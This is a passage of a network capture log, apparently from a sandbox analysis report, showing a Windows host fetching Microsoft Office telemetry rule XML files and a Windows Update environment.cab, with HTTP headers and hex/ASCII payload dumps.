2024-11-18 19:21:25 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:25 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:25 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: fc33b24f-c01e-00a2-3209-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192125Z-16547b76f7f9s8x7hC1DFWywrg000000060g00000000eunc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:25 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:25 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9262989a-201e-0096-39af-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192125Z-1866b5c5fbbb286shC1DFWx97800000002r000000000a982 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:25 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:25 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 6cd7b429-001e-0034-76a2-37dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192125Z-164f84587bfh9nvdhC1DFWmce0000000042g00000000sp3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49712	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:25 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=k4C8z3aWHGK76f7&MD=7kpCGLaN HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-18 19:21:26 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 98d36a22-a763-4f5c-b4d1-e026d5cb87fd MS-RequestId: 701dc553-6996-401a-b26d-3a452f4c4f40 MS-CV: aBCMteeP+0CDqHPo.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 19:21:25 GMT Connection: close Content-Length: 24490
2024-11-18 19:21:26 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-18 19:21:26 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:25 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:25 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 0c33812d-401e-005b-6489-389c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192125Z-164f84587bf6n6jwhC1DFW90fn00000005gg000000005kmy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:25 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:25 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:25 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e210d223-001e-0049-40d2-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192125Z-16547b76f7ftfv4jhC1DFWuhug00000003q000000000z9su x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:25 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:26 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 5d8d4d17-101e-007a-18d2-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192126Z-1866b5c5fbblmztchC1DFWs6v400000004qg00000000tbxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:26 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: ccb6a3a7-001e-0017-1ab5-370c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192126Z-16547b76f7fkz9l7hC1DFW35uc00000003cg000000002cpd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:26 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:26 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7749a706-f01e-005d-3209-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192126Z-16547b76f7fl5zvnhC1DFWtk9g00000004m000000000rdvy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:26 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:26 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 7d8b8a82-001e-0066-1ad2-37561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192126Z-16547b76f7f9s8x7hC1DFWywrg00000005x000000000x032 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:26 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:26 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 4cebb1d6-301e-0099-6509-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192126Z-16547b76f7fzwxm2hC1DFWt5hw00000003xg00000000053r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
